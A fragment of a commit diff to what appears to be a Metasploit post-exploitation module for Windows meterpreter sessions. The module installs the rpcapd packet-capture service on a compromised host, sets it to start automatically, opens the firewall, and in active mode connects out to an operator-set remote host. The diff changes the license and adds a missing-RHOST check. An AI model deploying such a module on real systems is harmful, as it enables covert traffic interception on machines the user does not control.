@@ -29,7 +29,7 @@ def initialize(info={})
29
29
the service in passive or active mode (useful if the client is behind a firewall).
30
30
If authentication is enabled you need a local user account to capture traffic.
31
31
PORT will be used depending of the mode configured.} ,
32
- 'License' => BSD_LICENSE ,
32
+ 'License' => MSF_LICENSE ,
33
33
'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>' ] ,
34
34
'Platform' => [ 'windows' ] ,
35
35
'SessionTypes' => [ 'meterpreter' ]
@@ -60,9 +60,13 @@ def run
60
60
service_change_startup ( "rpcapd" , "auto" )
61
61
end
62
62
if datastore [ 'ACTIVE' ] ==true
63
- print_error ( "RHOST is not set " ) if datastore [ 'RHOST' ] ==nil
64
- p = prog << " -d -a #{ datastore [ 'RHOST' ] } ,#{ datastore [ 'PORT' ] } -v "
65
- print_status ( "Installing rpcap in ACTIVE mode (remote port: #{ datastore [ 'PORT' ] } )" )
63
+ if datastore [ 'RHOST' ] ==nil
64
+ print_error ( "RHOST is not set " )
65
+ return
66
+ else
67
+ p = prog << " -d -a #{ datastore [ 'RHOST' ] } ,#{ datastore [ 'PORT' ] } -v "
68
+ print_status ( "Installing rpcap in ACTIVE mode (remote port: #{ datastore [ 'PORT' ] } )" )
69
+ end
66
70
else
67
71
fw_enable ( prog )
68
72
print_status ( "Installing rpcap in PASSIVE mode (local port: #{ datastore [ 'PORT' ] } ) " )
0 commit comments